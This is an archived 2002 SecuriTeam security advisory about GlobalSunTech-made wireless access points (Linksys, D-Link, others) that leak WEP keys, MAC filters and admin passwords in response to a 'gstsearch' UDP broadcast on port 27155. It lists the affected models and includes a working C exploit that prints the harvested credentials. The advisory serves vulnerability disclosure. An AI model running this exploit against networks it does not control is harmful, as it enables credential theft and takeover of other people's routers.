[NEWS] Accesspoints Disclose WEP Keys, Password and MAC Filters

From: support@securiteam.com
Date: 11/06/02


From: support@securiteam.com
To: list@securiteam.com
Date: 6 Nov 2002 21:27:00 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Accesspoints Disclose WEP Keys, Password and MAC Filters
------------------------------------------------------------------------

SUMMARY

GlobalSunTech develops Wireless Access Points for OEM customers like
Linksys, D-Link and others. Capturing the traffic of a WISECOM GL2422AP-0T
during the setup phase showed a security problem.

Sending a broadcast packet to UDP port 27155 containing the string
"gstsearch" causes the accesspoint to return WEP keys, mac filter and
admin password. This happens on the WLAN Side and on the LAN Side.

DETAILS

Vulnerable systems:
 * WISECOM GL2422AP-0T
 * D-Link DWL-900AP+ B1 version 2.1 and 2.2
 * ALLOY GL-2422AP-S
 * EUSSO GL2422-AP
 * LINKSYS WAP11-V2.2
 * DI-614+ Firmware version 2.03

Exploit:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

typedef struct {
        char type[28];
        char name[32];
        char user[16];
        char pass[16];
}
__attribute__ ((packed)) answer;

int main()
{
        char rcvbuffer[1024];
        struct sockaddr_in sin;
        answer* ans = (answer *)rcvbuffer;
        int sd, ret, val;

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr("255.255.255.255");
        sin.sin_port = htons(27155);

        sd = socket(AF_INET, SOCK_DGRAM, 0);
        if (sd < 0)
                perror("socket");

        val = 1;
        ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));
        if (ret < 0)
        {
                perror("setsockopt");
                exit(1);
        }

        ret = sendto(sd, "gstsearch", 9, 0, &sin, sizeof(struct
sockaddr));
        if (ret < 0)
        {
                perror("sendto");
                exit(1);
        }

        ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));

        printf("Type : %s\n",ans->type);
        printf("Announced Name : %s\n",ans->name);
        printf("Admin Username : %s\n",ans->user);
        printf("Admin Password : %s\n",ans->pass);

        return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:knienieder@khamsin.ch> Tom
Knienieder and <mailto:dk@mopilot.net> d k.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages